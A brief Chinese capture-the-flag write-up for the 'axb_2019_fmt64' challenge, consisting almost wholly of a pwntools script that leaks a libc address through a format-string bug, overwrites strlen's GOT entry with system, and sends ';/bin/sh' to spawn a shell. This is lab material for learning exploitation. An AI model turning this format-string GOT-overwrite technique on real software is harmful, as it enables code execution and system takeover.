格式化字符串的题目,,,跟32那道有点像,本来用那个工具来着,失败了,,
    image.png
    image.png
    就是老样子咯

    1. from pwn import*
    2. context.log_level='debug'
    3. io = process('./axb_2019_fmt64')
    4. #io = remote('node4.buuoj.cn',28462)
    5. elf = ELF('./axb_2019_fmt64')
    6. libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    7. #libc = ELF("libc-2.23.so")
    8. #libc = ELF("./libc-2.2764.so")
    9. strlen_got = elf.got['strlen']
    10. print(hex(strlen_got))
    11. #payload ='aaaaaaaa%8$p'
    12. payload ='%9$saaaa'+p64(strlen_got)
    13. io.recvuntil('Please tell me:')
    14. io.send(payload)
    15. strlen_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
    16. print('strlen_addr:'+hex(strlen_addr))
    17. system_addr = strlen_addr - libc.sym['strlen']+libc.sym['system']
    18. system_low = system_addr&0xffff
    19. system_high = (system_addr>>16)&0xff
    20. print('low:'+hex(system_low))
    21. print('high'+hex(system_high))
    22. log.success('system_addr:'+hex(system_addr))
    23. io.recvuntil('Please tell me:')
    24. payload ='%'+str(system_high-9)+'c%12$hhn%'+str(system_low-system_high)+'c%13$hn'
    25. payload =payload.ljust(32,'a')
    26. payload +=p64(strlen_got+2)+p64(strlen_got)
    27. io.send(payload)
    28. io.recvuntil('Please tell me:')
    29. io.sendline(';/bin/sh\x00')
    30. io.interactive()